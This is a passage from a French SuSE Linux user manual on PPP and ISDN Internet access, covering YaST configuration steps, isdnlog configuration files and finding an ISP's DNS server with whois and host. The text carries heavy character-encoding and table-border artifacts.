l'objet d'une courte prΘsentation (paragraphe 6.1). Ce sera ensuite le tour
de la configuration ISDN (paragraphe 6.2 page 173). Nous parlerons aussi
de la connexion par modem analogique (paragraphe 6.5 page 190) et de la
configuration d'une connexion PPP par modem (paragraphe 6.6 page 190).
Le courrier Θlectronique (E-mail, voir paragraphe 6.8 page 205) et la mise
en place d'un systΦme de news (paragraphe 6.9 page 208) ainsi que le fax
(paragraphe 6.10 page 210) vous seront prΘsentΘs dans leurs grandes lignes.
6.1 PPP
PPP (angl. Point to Point Protocol) vous donne la possibilitΘ d'utiliser TCP/IP
α travers une ligne sΘrie. Le client PPP et le serveur PPP peuvent dialoguer
lors de l'Θtablissement de la connexion au moyen de diffΘrents paramΦtres
de protocole. Le serveur peut faire connaεtre son adresse IP au client et lui
attribuer aussi une adresse IP.
PPP, contrairement α SLIP, est un standard dΘfini qui est maintenant proposΘ
par la plupart des fournisseurs d'accΦs Internet comme seul protocole de
connexion.
Dans PPP, le r⌠le central est jouΘ par le dΘmon pppd qui permet l'accΦs aux
pΘriphΘriques PPP. Le dΘmon PPP peut Ωtre utilisΘ aussi bien comme client
1 ____________________________________________________
SLIP (Serial Line Internet Protocol) Θtant de moins en moins α la mode
*
* 171
6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
*_______________________________________@
que comme serveur. Pour l'Θtablissement de la connexion proprement dite on
se sert du programme wvdial ou du programme chat .
6.1.1 Conditions pour la mise en service de PPP
Voici ce qui est nΘcessaire α la mise en service de PPP sous SuSE Linux :
~ Le noyau doit supporter TCP/IP et PPP ! C'est le cas du noyau qui vous
est fourni et de ses modules ~ il ne vous est donc pas nΘcessaire de gΘnΘrer
votre propre noyau.
~ Les logiciels rΘseau doivent Ωtre installΘs. Le paquetage nkita et le pa-
quetage nkitb, sΘrie a sont absolument indispensables.
~ Le paquetage de base est le paquetage ppp, sΘrie n dans lequel sont inclus
le dΘmon pppd et le programme chat .
~ Si un modem analogique doit Ωtre utilisΘ, le paquetage wvdial, sΘrie n
sera nΘcessaire pour l'Θtablissement et la cl⌠ture de la connexion.
~ Si ISDN doit Ωtre configurΘ, lisez le paragraphe 6.2.3 page 175.
~ Vous devez aussi connaεtre votre nom d'utilisateur et votre mot de passe
pour l'accΦs au serveur PPP.
6.1.2 Informations complΘmentaires sur PPP
PPP vous offre un bon nombre de possibilitΘs pour configurer votre
connexion. Cela nous mΦnerait beaucoup trop loin de vous les prΘsenter
toutes. Si vous avez besoin d'autres options que celles mentionnΘes ici, vous
pouvez lire les + pages de man qui s'y rΘfΦrent, par exemple la page de
man de pppd (man 8 pppd ). Vous trouverez en outre des informations dΘ-
taillΘes dans les fichiers NET4-3-HOWTO.gz (autrefois : NET-3-HOWTO.gz)
et PPP-HOWTO.gz du rΘpertoire /usr/doc/howto/en ainsi que dans les
fichiers de documentation du rΘpertoire /usr/doc/packages/ppp ou
/usr/doc/packages/wvdial.
Vous trouverez des informations dΘtaillΘs sur les prococoles utilisΘs par PPP
dans les RFC correspondantes :
~ RFC1144 : Jacobson, V. ``Compressing TCP/IP headers for low-speed
serial links.'' 1990 February ;
~ RFC1321 : Rivest, R. ``The MD5 Message-Digest Algorithm.'' 1992
April ;
~ RFC1332 : McGregor, G. ``PPP Internet Protocol Control Protocol
(IPCP).'' 1992 May ;
~ RFC1334 : Lloyd, B. Simpson, W.A. ``PPP authentication protocols.''
1992 October ;
~ RFC1548 : Simpson, W.A. ``The Point-to-Point Protocol (PPP).'' 1993
December ;
~ RFC1549 : Simpson, W.A. ``PPP in HDLC Framing.'' 1993 December ;
172
_____________________________________________________________6.2.__AccΦs_Internet_par_ISDN_~_Configuration__________________*
*______________________
6.2 AccΦs Internet par ISDN ~ Configuration
En plus des connexions rΘseau ``ordinaires'', Linux est parfaitement en me-
sure d'Θtablir et de gΘrer des connexions rΘseau avec d'autres machines (par
exemple avec des fournisseurs d'accΦs Internet). Ceci est d'autant plus simple
qu'une bonne partie de la configuration ISDN2 peut Ωtre rΘalisΘe α l'aide de
YaST .
Ce paragraphe se rΘfΦre α la connexion standard α une autre machine via
ISDN. Mais ISDN permet bien s√r aussi de faire autre chose sous Linux.
Nous attirons toutefois votre attention sur le fait que les procΘdures mention-
nΘes ici peuvent Θventuellement ne pas Ωtre autorisΘes. Les cartes ISDN ac-
tives, y compris leurs microprogrammes (angl. firmware), ont une autorisation
qui s'applique aussi α leur mise en oeuvre sous Linux. Par contre, l'autorisa-
tion des cartes passives ne s'applique en gΘnΘral qu'aux logiciels fournis par
le constructeur. Les cartes ELSA Microlink PCI (autrefois Quickstep) et Ei-
con Diva 2.01 constituent une exception α cette rΦgle car elles sont Θgalement
autorisΘes sous Linux. Si vous avez besoin d'une autorisation, vous devrez
donc utiliser une carte active ou connecter une carte passive α une installation
PABX.
Contrairement α la connexion par modem, la connexion ISDN ne requiert
aucune commande spΘciale. DΦs que le rΘseau est mis en place, on peut
Θtablir une connexion par des activitΘs normales telles que le dΘmarrage
d'une session telnet , http (WWW), ftp , etc. Ce n'est qu'α ce moment que la
connexion commutΘe est Θtablie ; cette procΘdure prend environ 3 secondes.
Il est possible aux utilisateurs n'ayant pas les privilΦges `root' de lancer une
connexion. On peut dΘterminer le nombre de secondes pendant lesquelles la
connexion doit rester inactive avant le raccrochage automatique.
Pendant toute la procΘdure de configuration ISDN, il est conseillΘ de suivre
les messages du systΦme dans le fichier_/var/log/messages._Chargez pour
cela, dans un xterm (sous KDE : |A____l|t+ |F___|2et ensuite xterm ) ou une autre
console virtuelle, le fichier dans le ``visualiseur'' less 3 :
terre: # less +F /var/log/messages
Avec l'option +F , vous pouvez voir ``en ligne'' sur l'Θcran l'affichage_ des
nouvelles_lignes_qui viennent s'ajouter α chaque fois α ce fichier. Avec |C______|trl
+ c |||||||_vous quittez ce mode.
Le programme xisdnload vous donne aussi la possibilitΘ de surveiller en
mode graphique le trafic ISDN.
6.2.1 Mise en service d'ISDN - Pas α pas
Le paragraphe qui va suivre dΘcrit les diffΘrences Θtapes α parcourir pour
accΘder α Internet. Faites d'abord un essai en suivant les instructions qui
vous sont donnΘes et si vous n'obtenez pas de rΘsultat ou si vous avez besoin
d'informations plus dΘtaillΘes, lisez attentivement les autres paragraphes.
2 ____________________________________________________
N.d.l.T : Dans le monde francophone, ISDN est connu sous le nom de + RNIS. L'acronyme
ISDN Θtant toutefois employΘ dans la domumentation internationale ainsi que dans les noms de
programmes, il a ΘtΘ conservΘ dans ce manuel et dans les messages de YaST afin de ne pas crΘer
de confusion.
3 Vous trouverez des informations sur less au paragraphe 19.7.3 page 489 et pages suivantes
*
* 173
6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
*_______________________________________@
1. DΘmarrez le programme YaST en__tant_ qu'utilisateur_ `root' ~ si vous
Ωtes sous KDE, appuyez sur | ____A|lt+ | ___F|2et tapez xterm . Lancez YaST
dans la nouvelle fenΩtre.
2. Allez dans `Administration du systΦme', `Configurer le rΘ-
seau' et `Configuration de base du rΘseau'.
3. CrΘez (avec |F___|_5) un nouveau pΘriphΘrique, α savoir ISDN SyncPPP . Ap-
puyez sur `RETURN' pour accΘder au menu `EntrΘe des adresses
rΘseau'.
4. Laissez la configuration telle quelle (l'adresse IP de votre machine est
192.168.0.99 , celle de la machine α l'autre bout de la connexion Point
α Point est 192.168.0.1 ). Modifiez uniquement la passerelle par dΘfaut
pour que son adresse corresponde α l'adresse de la machine distante point
α point (192.168.0.1 ). Cette option doit Ωtre sΘlectionnΘe si les adresses
sont assignΘes dynamiquement.
5. Terminez en sΘlectionnant `Continuer'.
6. Dans le masque `SΘlection_ du rΘseau', vous devrez encore activer
la carte avec |F___|4.
7. Stockez en mΘmoire avec |F_____|10.
8. La procΘdure se poursuit avec `IntΘgrer le matΘriel dans le
systΦme' et ensuite `Configurer le matΘriel ISDN'.
9. Remplissez maintenant le masque. Au cas o∙ vous ne sauriez pas exac-
tement ce que vous devez entrer, vous trouverez la documentation nΘces-
saire sous /usr/doc/packages/i4l ainsi que dans la suite du manuel.
10. SΘlectionnez ensuite dans la fenΩtre l'option `DΘmarrer'.
11. Si vous avez obtenu un rΘsultat positif (vous verrez alors un message
apparaεtre α l'Θcran) sΘlectionnez ParamΦtres ISDN .
12. Remplissez Θgalement ce masque.
13. SΘlectionnez ensuite dans le fenΩtre l'option `DΘmarrer'.
14. Si vous avez obtenu un rΘsultat positif (vous verrez alors un message
apparaεtre α l'Θcran) sΘlectionnez MΘmoriser .
15. Passez α `Configuration du serveur de noms', rΘpondez `Oui' α
la question.
16. SpΘcifiez l'adresse IP du serveur de noms (DNS) de votre fournisseur
d'accΦs. Au cas o∙ elle vous serait inconnue, demandez-la α votre four-
nisseur d'accΦs. Mais le plus souvent, elle se trouve aussi sur son site
Web.
17. Quittez YaST . Entrez init 1 dans la fenΩtre de terminal. Ceci vous fait
aussi quitter KDE (et X).
18. Connectez-vous sous le compte `root'.
19. DΘmarrez le rΘseau avec init 2 si vous lancez X avec startx . Mais si
vous vous connectez en mode graphique, dΘmarrez avec init 3 .
20. Si vous dΘmarrez maintenant un navigateur, par exemple Netscape, vous
pouvez dΘjα surfer sur Internet. Lancez aussi xisdnload pour pouvoir
contr⌠ler l'Θtat de votre connexion.
174
_____________________________________________________________6.2.__AccΦs_Internet_par_ISDN_~_Configuration_________________*
*_______________________
21. Avec certains fournisseurs d'accΦs, il est en outre nΘcessaire de spΘcifier
dans Netscape le serveur proxy qu'ils utilisent :
Dans Netscape `Edit', `Preferences', `Advanced', `Proxies',
`Manual Proxy Configuration' et ensuite `View'.
Votre accΦs ISDN devrait maintenant fonctionner et la connexion Internet de-
vrait Ωtre Θtablie automatiquement dΦs que vous aurez spΘcifiΘ une adresse
Internet, par exemple dans Netscape. Et elle devrait aussi se terminer auto-
matiquement lorsqu'aucun paquet de donnΘes n'aura ΘtΘ transmis pendant
60 secondes. Contr⌠lez le trafic avec xisdnload !
Si tout ceci ne fonctionne pas encore, poursuivez votre lecture !
6.2.2 Vue d'ensemble
SuSE Linux contient le paquetage isdn4linux constituΘ de pilotes matΘ-
riels, d'interfaces rΘseau et d'une Θmulation de modems (uniquement mo-
dems numΘriques). Il met Θgalement α disposition un logiciel pour rΘpondeur
tΘlΘphonique.
Le pilote matΘriel pour carte ISDN est chargΘ par /sbin/init.d/i4l_
hardware (voir chapitre 17 page 445).
La configuration de la partie ISDN est prise en charge par l'outil isdnctrl .
La configuration des interfaces rΘseau disponibles se fait comme pour une
interface Ethernet par les commandes ifconfig (page de man de ifconfig
(man ifconfig )) et route (page de man de route (man route )). Sous
SuSE Linux, ces tΓches sont accomplies par le script /sbin/init.d/i4l
(voir chapitre 17 page 445).
Ce sont les diffΘrents paramΦtres inscrits dans le fichier /etc/rc.config qui
servent ici de base. Le nom des variables utilisΘes s'oriente, dans la mesure
du possible, aux options concernant isdnctrl .
Par le script /sbin/init.d/route, le routage est configurΘ avec les valeurs
contenues dans /etc/route.conf.
La connexion est Θtablie α la demande avec les paramΦtres dΘfinis par isdnctrl
ou /sbin/init.d/i4l et /etc/rc.config. Ils peuvent Ωtre affichΘs par la
commande
terre: # isdnctrl list all
└ la demande signifie que l'une des ``routes'' ainsi crΘΘes accΦde α l'interface
ISDN correspondante. Ceci peut Ωtre rΘalisΘ par chaque utilisateur et chaque
application.
6.2.3 Configuration du matΘriel ISDN
Conditions
Pour Θtablir une connexion ISDN sous SuSE Linux il vous faut :
1. un raccordement ISDN
2. une carte ISDN supportΘe
3. un SuSE Linux installΘ
*
* 175
6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
*_______________________________________@
4. un noyau standard installΘ α partir du CD SuSE Linux.
________________________________________________________________________________________________________*
*________||
| Vous n'avez pas besoin de gΘnΘrer votre propre noyau ~ si vous voulez *
* ||||
| toutefois compiler un noyau, vous devez absolument prendre les sources *
* |||
| *
* |||
| du paquetage lx_suse, sΘrie d ! *
* |||
|_______________________________________________________________________________________________________*
*________|||_
5. le paquetage kernmod, sΘrie a
6. le paquetage i4l, sΘrie n
7. pour une documentation plus dΘtaillΘe, le paquetage i4ldoc, sΘrie doc
Ce que vous devez savoir :
~ Type de votre carte ISDN
~ ParamΦtres de la carte : IRQ, adresse de port, etc. (en fonction du type)
~ Quel protocole ISDN vous pouvez utiliser :
~ 1TR6 : (vieux) ISDN allemand
~ DSS1 : Euro-ISDN
________________________________________________________________________________________________________*
*________||
| Certains grands Θquipements PBX/PABX dΘjα anciens utilisent souvent *
* ||||
| 1TR6 sur des bus S0 internes. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Quel est mon MSN/EAZ ?
Pour Euro ISDN, le MSN (Multiple Subscribe Number) est le numΘro d'ap-
pel multiple (sans prΘfixe). Pour un nouveau raccordement privΘ, il vous est
trΦs souvent attribuΘ trois numΘros indΘpendants. Vous pouvez choisir indif-
fΘremment l'un d'entre eux pour la connexion ISDN, mΩme si vous utilisez
dΘjα ce numΘro pour les communications tΘlΘphoniques car l'indicateur de
service ISDN permet de diffΘrencier le type de connexion.
La carte ISDN est normalement reliΘe directement α un NTBA mais il peut
Ωtre utile de mettre α disposition un autre bus S0 par le biais d'un PABX.
Si vous utilisez l'Euro ISDN sur votre PABX, le MSN est (le plus souvent)
seulement le numΘro de sΘlection directe ou le 0 .
Pour 1TR6, le MSN est remplacΘ par un EAZ (en allemand EndgerΣte-
Auswahl-Ziffer = numΘro de sΘlection de l'appareil terminal). Le EAZ ne
comporte qu'un seul chiffre que vous pouvez choisir entre 1 et 9 . N'utilisez
pas 0 avec 1TR6 !
Configuration du matΘriel ISDN avec YaST
Le pilote pour la carte ISDN est fourni par un module du noyau chargeable.
Il n'est pas nΘcessaire pour cela de rΘamorcer le systΦme. Les cartes ISDN
courantes sont supportΘes par le pilote HiSax .
Certaines cartes, comme par exemple les cartes ICN ou AVM-B1 ainsi que
les cartes PnP (angl. plug and play), requiΦrent un traitement spΘcial et ne
peuvent pas (encore) Ωtre configurΘes directement avec YaST . Pour plus d'in-
formations, voir la configuration du type de cartes ISDN.
Voici comment vous devez procΘder, Θtape par Θtape :
176
_____________________________________________________________6.2.__AccΦs_Internet_par_ISDN_~_Configuration___________________*
*_____________________
1. Connectez-vous en tant qu'utilisateur `root'
2. LancezYaST
3. SΘlectionnez le menu `Administration du systΦme', `IntΘ-
grer le matΘriel dans le systΦme', `Configurer le matΘ-
riel ISDN'. La figure 6.1 vous montre cette structure de menu.
Fig. 6.1: Structure de menu pour la configuration ISDN avec YaST
4. Entrez dans le masque les paramΦtres suivants :
~ DΘmarrage de I4L
Ce n'est que si ce champ est actif qu'ISDN est configurΘ lors de
l'amorτage. Vous pouvez ainsi dΘterminer si une connexion ISDN peut
Ωtre Θtablie automatiquement aprΦs l'amorτage
~ Protocole ISDN
Choisissez entre la vieille ISDN allemande (1TR6) et l'Euro ISDN
(EDSS1) aujourd'hui en usage. Notez que pour les connexions via un
PABX on utilise souvent 1TR6
~ Type de la carte ISDN
SΘlectionnez la carte supportΘe par le pilote HiSax. Pour les cartes PnP
et PCMCIA, lisez le fichier /usr/doc/packages/i4l/README.
SuSE ainsi que le paragraphe 10.2.1 page 294.
_______________________________________________________________________________________________________________________
|||||||| Notez que pour les cartes PCI il ne doit pas Ωtre spΘcifiΘ d'adresse d'E/S ni || |
|||||||| || |
|||||||| d'interruption. || |
||||||||_______________________________________________________________________________________________________________||_
~ Identification de la carte
Vous devriez laisser l'identification sur HiSax .
~ Interruption
Adresse de base mΘmoire
Port d'E/S
Valeur IO0
Valeur IO1
*
* 177
6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
*_______________________________________@
Selon le type de votre carte, des paramΦtres supplΘmentaires peuvent
Ωtre nΘcessaires. Seuls les paramΦtres indispensables pour le type de
carte sΘlectionnΘ sont activΘs, les autres valeurs sont ignorΘes.
~ Options pour le chargement du module ISDN
Laissez ce champ vide.
Vous pouvez obtenir_des informations complΘmentaires en appuyant sur
la touche |F___|1. Vous pouvez voir le masque d'entrΘe dans la figure 6.2.
Fig. 6.2: Masque d'entrΘe pour configuration ISDN avec YaST
5. Activez le bouton `DΘmarrage'.
Il s'agit d'un test : Le module est chargΘ et vous pouvez voir dans la
fenΩtre si la carte a ΘtΘ reconnue correctement.
En cas de rΘussite : Activez le bouton `MΘmoriser'.
Les paramΦtres sont stockΘs de faτon permanente (sous forme de va-
riables dans les fichiers /etc/rc.config.d/i4l_*) et pourront ainsi
Ωtre de nouveau activΘs aprΦs le prochain amorτage ou changement de
niveau d'exΘcution. AprΦs le chargement du module α titre d'essai, le
pilote reste chargΘ.
En cas d'Θchec : Essayez d'autres paramΦtres et examinez les modifica-
tions dans le fichier /var/log/messages.
ProblΦmes courants :
~ Certaines cartes mΦres, ne permettent pas d'utiliser le IRQ 12 ou le
IRQ 15.
~ Les adresses spΘcifiΘes ou les IRQ sont dΘjα attribuΘs. Supprimez
toutes les cartes enfichables qui ne sont pas nΘcessaires pour le mo-
ment, par exemple cartes son et cartes rΘseau.
~ Le module est dΘjα chargΘ. Basculez vers une autre console et lancez
la commande suivante pour dΘcharger le module :
terre: # rmmod hisax
178
_____________________________________________________________6.2.__AccΦs_Internet_par_ISDN_~_Configuration__________________*
*______________________
~ Vous avez une carte PnP. Consultez le fichier /usr/doc/packages/
i4l/README.SuSE.
~ Votre carte n'est pas supportΘe par HiSax mais par un autre pi-
lote (par exemple ICN, AVM-B1). Consultez le fichier /usr/doc/
packages/i4l/README.SuSE.
6. Quittez YaST .
7. Configurer isdnlog
Avant de charger les modules, vous devriez configurer isdnlog . Il a pour
tΓche de superviser toutes les activitΘs sur le bus S0.
Modifiez les fichiers suivants en fonction de vos besoins :
~ /etc/isdn/isdn.conf :
Le premier paramΦtre spΘcifie le pays dans lequel isdn4linux est
utilisΘ. Pour l'Allemagne, les valeurs sont celles du fichier 6.2.14 .
_______________________________________________________________________________________________________________________||
|||||||| # /etc/isdn/isdn.conf |
|||||||| |
|||||||| [GLOBAL] |
|||||||| |
|||||||| COUNTRYPREFIX = + |
|||||||| COUNTRYCODE = 49 |
|||||||| |
|||||||| AREAPREFIX = 0 |
|||||||| CURRENCY = 0.12,DM |
||||||||_______________________________________________________________________________________________________________ |
fichier 6.2.1: /etc/isdn/isdn.conf
De mΩme, dans la section GLOBAL, le prΘfixe (AREACODE) ne doit pas
commencer par un zΘro. Si votre prΘfixe est par exemple 0911 , entrez
AREACODE = 911.
C'est (en Allemagne) le seul point qui doit Ωtre modifiΘ. Avec
CHARGEMAX = 20.00, vous pouvez prΘcisez le co√t maximal (en
``Deutsche Mark'') des appels tΘlΘphoniques quotidiens 5 . Cela vous
protΦge contre les connexions non souhaitΘes. Mais ne vous fiez pas
trop α cette fonction automatique !
~ /etc/isdn/callerid.conf :
Vous pouvez inscrire ici tous les numΘros de tΘlΘphone connus. Dans
le fichier /var/log/messages et par la commande isdnrep , vous
pourrez voir les noms au lieu des numΘros de tΘlΘphone.
Voir l'exemple dans le fichier 6.2.2 page suivante. Votre numΘro de
tΘlΘphone est 4711 et celui de votre fournisseur d'accΦs est 4712 .
~ /etc/isdn/isdnlog.isdnctrl0.options :
Vous pouvez entrer ici les options pour isdnlog mais ce n'est gΘnΘra-
lement pas nΘcessaire.
4 ____________________________________________________
N.d.l.T : Pour la France, COUNTRYCODE = 33
5 N.d.l.T : Remplacez CURRENCY par le prix d'une unitΘ dans votre monnaie nationale (par
exemple CURRENCY = 0.61 Franc ou (aprΦs le passage α l'EURO) CURRENCY = 0.09,EURO
pour la France)
*
* 179
6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________||||
| # /etc/isdn/callerid.conf *
* |
|| *
* ||
| [MSN] *
* |
| NUMBER = 4711 *
* |
| *
* |
| SI = 1 *
* |
| ALIAS = moi *
* |
| *
* |
| ZONE = 1 *
* |
| *
* |
| *
* |
| [MSN] *
* |
| NUMBER = 4712 *
* |
| *
* |
| SI = 1 *
* |
| ALIAS = Fournisseur d'accΦs *
* |
| ZONE = 1 *
* |
|_______________________________________________________________________________________________________*
*________ |
fichier 6.2.2: /etc/isdn/callerid.conf
8. Tapez les commandes
terre: # init 1
terre: # init 2
afin de pouvoir, entre autre, relancer les services rΘseau. Vous pouvez
rΘactiver ISDN avec YaST (ou rΘamorcer si vous prΘfΘrez).
6.2.4 Tester le fonctionnement de votre connexion ISDN sur le serveur
SuSE
6.2.5 Mise en place d'une connexion Internet par ISDN
Configuration ISDN pour votre fournisseur d'accΦs Internet
SΘlection d'un protocole
Pour les connexions ISDN il existe trois protocoles importants :
~ syncPPP
~ rawip-HDLC
~ X.75 pour la connexion α un terminal
Les fournisseurs d'accΦs Internet utilisent gΘnΘralement le protocole syncPPP
avec lequel vous devriez par consΘquent configurer votre systΦme Linux.
Conditions
~ Votre matΘriel ISDN a ΘtΘ configurΘ avec succΦs.
~ Le pilote ISDN est chargΘ.
~ Vous connaissez le MSN ou EAZ α utiliser.
~ Vous connaissez le protocole utilisΘ par votre fournisseur d'accΦs
(syncPPP , rawip ).
~ Vous connaissez le numΘro de tΘlΘphone d'accΦs.
~ Vous connaissez le nom d'utilisateur et le mot de passe.
180
_____________________________________________________________6.2.__AccΦs_Internet_par_ISDN_~_Configuration__________________*
*______________________
~ Vous connaissez le serveur de noms de domaine de (DNS) de votre four-
nisseur d'accΦs.
Ce n'est que lorsque toutes ces conditions sont remplies que vous pouvez
configurer avec succΦs votre accΦs Internet.
L'exemple suivant se rΘfΦre α une connexion syncPPP . rawip est pratique-
ment identique bien que plus simple.
Voici maintenant la marche α suivre :
1. Lancez YaST et passez au menu `Administration du systΦme',
`Configurer le rΘseau', `Configuration de base rΘseau'. Il
apparaεt alors un masque tel que celui de la figure 6.3
Fig. 6.3: Configuration rΘseau avec YaST
2. SΘlectionnez un numΘro disponible, par exemple 1 .
3. SΘlectionnez le pΘriphΘrique `ISDN SyncPPP' en appuyant sur la touche
||__|F5.
4. Appuyez sur la touche |____|F6(`Adresse IP') et faites les entrΘes sui-
vantes :
~ Adresse IP de votre machine (carte ISDN) : 192.168.0.99
~ Cochez `Adresse IP dynamique' seulement dans le cas o∙ une
adresse est assignΘe ``dynamiquement'' par votre fournisseur d'accΦs
(+ FAI) lors de chaque connexion.
~ Adresse IP de de la passerelle par dΘfaut : 192.168.0.1
~ Adresse IP de la machine distante PPP : 192.168.0.1
5. Quittez le masque en activant le bouton `Continuer'.
6. Appuyez sur la touche |F___|_4pour activer le pΘriphΘrique rΘseau au cas o∙
ce n'est pas dΘjα fait.
7. Avec la touche |____|F8(`ISDN'), vous pouvez entrer d'autres paramΦtres
spΘcifiques α ISDN. Il vous sont prΘsentΘs dans la figure 6.4 page suivante.
SpΘcifiez pour cela les valeurs suivantes :
*
* 181
6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
*_______________________________________@
Fig. 6.4: Configuration du rΘseau ISDN avec YaST
~ Votre numΘro de tΘlΘphone (MSN)
Votre MSN, par exemple 123456
~ NumΘros α appeler : 012345678
PrΘcision : 012345678 est le numΘro de la machine de votre fournis-
seur d'accΦs.
________________________________________________________________________________________________________*
*________||
| Vous devez Θventuellement ajouter le prΘfixe 0 pour certains PABX. Gar- *
* ||||
| dez aussi prΘsent α l'esprit que des numΘros de tΘlΘphone comportant un *
* |||
| *
* |||
| espace sont considΘrΘs comme Θtant deux numΘros de tΘlΘphone diffΘrents. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
~ NumΘros autorisΘs α appeler :
NΘcessaire uniquement pour serveurs Dialin.
~ Seuls les numΘros spΘcifiΘs sont autorisΘs :
Placez ce drapeau afin de vous assurer que personne ne pourra se
connecter α votre systΦme sans autorisation.
~ Mode de numΘrotation :
Avec auto , une connexion est Θtablie automatiquement lorsque l'on
tente d'accΘder α des adresses qui ne sont accessibles qu'α travers
l'interface ISDN. Avec l'option manual , la connexion doit Ωtre Θtablie
α la main en cas de besoin. Avec off , il n'est absolument pas possible
d'Θtablir des connexions par le biais de cette interface ISDN.
~ Idle-Time :
PΘriode d'inactivitΘ pendant laquelle aucun paquet Internet n'est trans-
mis par la ligne ISDN et aprΦs laquelle le raccrochage a lieu automati-
quement.
~ Nom de connexion PPP :
SpΘcifiez ici le nom d'utilisateur (compte) que vous avez chez votre
fournisseur d'accΦs.
~ Mot de passe pour la connexion PPP : SpΘcifiez ici le mot de
passe pour votre compte chez votre fournisseur d'accΦs. Le mot de
182
_____________________________________________________________6.2.__AccΦs_Internet_par_ISDN_~_Configuration___________________*
*_____________________
passe n'apparaεt α l'Θcran que sous forme d'astΘrisques. Il est enregis-
trΘ dans le fichier /etc/ppp/pap-secrets.
Pour pouvez obtenir une aide supplΘmentaire en appuyant sur la touche
||__|_F1.
8. Activez le bouton `DΘmarrer'.
PrΘcision : Le rΘseau est configurΘ α titre d'essai. Vous pouvez voir dans la
fenΩtre si tout a bien fonctionnΘ. Il ne devrait y avoir ici aucun problΦme.
Si tout fonctionne : Activez le bouton `MΘmoriser'.
PrΘcision : Les paramΦtres sont stockΘs de faτon permanente (sous
forme de variables dans les fichiers /etc/rc.config.d/i4l_*), et
pourront ainsi Ωtre de nouveau activΘs aprΦs le prochain amorτage ou
changement de niveau d'exΘcution. AprΦs le dΘmarrage d'essai, les
paramΦtres sont conservΘs.
En cas d'Θchec : Il est probable que les modules ISDN n'aient pas ΘtΘ
chargΘs. Lisez les messages dans le fichier /var/log/messages.
9. Allez dans le menu de YaST `Configuration du serveur de noms'
et rΘpondez oui α la question. SpΘcifiez les numΘros IP du serveur de
noms (DNS) de votre fournisseur d'accΦs. Si vous ne connaissez pas ce
numΘro IP, vous devrez le demander α votre fournisseur d'accΦs. Vous
pouvez aussi demander α quelqu'un qui a dΘjα un systΦme Linux connectΘ
α Internet de lancer la commande suivante dans une fenΩtre de terminal
(nous prenons ici T-Online comme exemple) :
whois t-online.de
Vous obtiendrez alors un affichage qui contient, entre autres, les lignes
que vous voyez dans l'affichage 6.2.1.
_______________________________________________________________________________________________________________________||
|||||||| domain: t-online.de |
|||||||| |
|||||||| descr: Deutsche Telekom AG, Telekom Online-Dienste |
|||||||| descr: Generaldirektion, GK361 |
|||||||| descr: Postfach 2000 |
|||||||| |
|||||||| descr: D-53105 Bonn |
|||||||| descr: Germany |
|||||||| |
|||||||| admin-c: KHS252-RIPE |
|||||||| tech-c: JS691-RIPE |
|||||||| |
|||||||| zone-c: FS340-RIPE |
|||||||| nserver: dns00.btx.dtag.de |
||||||||_______________________________________________________________________________________________________________ |
affichage α l'Θcran 6.2.1: Affichage de whois t-online.de
Dans la ligne nserver : vous voyez le serveur de noms de votre four-
nisseur d'accΦs. Il ne vous manque plus que l'adresse IP. Pour l'obtenir,
lancez la commande :
host dns00.btx.dtag.de
Vous recevrez une rΘponse telle que par exemple dans l'affichage 6.2.2
page suivante.
Ceci (194.25.2.129 ) reprΘsente l'adresse IP du serveur de noms de
T-Online.
Si la connexion ne peut pas Ωtre Θtablie :
*
* 183
6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________
| dns00.btx.dtag.de has address 194.25.2.129 *
* |
||______________________________________________________________________________________________________*
*________ ||
affichage α l'Θcran 6.2.2: Affichage de host
~ VΘrifiez si /var/log/messages contient des messages ``suspects''.
Les messages d'Θtat ISDN (par exemple E001f ) sont dΘcrits au pa-
ragraphe 6.2.6.
~ Essayez de vous connecter avec rawip .
~ Votre MSN/EAZ est~il correct ?
~ Est-il Θventuellement nΘcessaire d'utiliser le prΘfixe 0 ?
Vous trouverez d'autres informations dans la base de donnΘes support.
Vous pouvez y accΘder soit sous l'URL http://sdb.suse.de/sdb/
fr/html/ sur notre serveur WWW, soit par le biais de l'aide en ligne
de SuSE que vous pourrez obtenir avec susehelp ou α partir du menu
dans votre systΦme SuSE Linux dΦs que vous aurez installΘ le paquetage
susehilf, sΘrie doc ainsi que le paquetage sdb_en, sΘrie doc.
10. Si tout a bien fonctionnΘ, retournez α YaST , activez le bouton `MΘmori-
ser' et quittez YaST .
NumΘro IP dynamique avec syncPPP
Dans le cas d'adresses IP dynamiques, les adresses ``dummy'' provenant de
votre secteur privΘ ne servent α rien d'autre qu'α tenir la place de celles qui
seront attribuΘes dynamiquement lorsque la connexion sera Θtablie.
Informations complΘmentaires
Vous trouverez des informations complΘmentaires sur la maniΦre d'Θtablir
une connexion ISDN et de configurer votre sous-systΦme ISDN dans :
~ le fichier /usr/doc/packages/i4l/README.SuSE
~ la base de donnΘes support : http://sdb.suse.de/sdb/fr/html/
~ le paquetage i4ldoc (par exemple la FAQ ISDN-FAQ dans le fichier
/usr/doc/packages/i4ldoc/i4l-faq)
~ /usr/doc/inetcfg (paquetage inetcfg) : par exemple : T-Online par
ISDN
6.2.6 Messages ISDN
Les messages dits ``de cause'' Θmis par le sous-systΦme ISDN sont en anglais
et ne sont malheureusement pas toujours faciles α comprendre. C'est pourquoi
nous vous en donnons ici une traduction en franτais.
Un message de cause (d'erreur) typique Θmis par HiSaX est composΘ de
2 lignes, la location et le cause code . Pour Euro-ISDN, il est constituΘ de
5 lignes, Exxyy . La source du message d'erreur (qui n'est pas explicitΘe ici)
est indiquΘe par xx alors que la cause du message est indiquΘe par yy . HiSaX
prΘsente toujours cette sortie en mode hexadΘcimal. Certains messages ne
184
_____________________________________________________________6.2.__AccΦs_Internet_par_ISDN_~_Configuration__________________*
*______________________
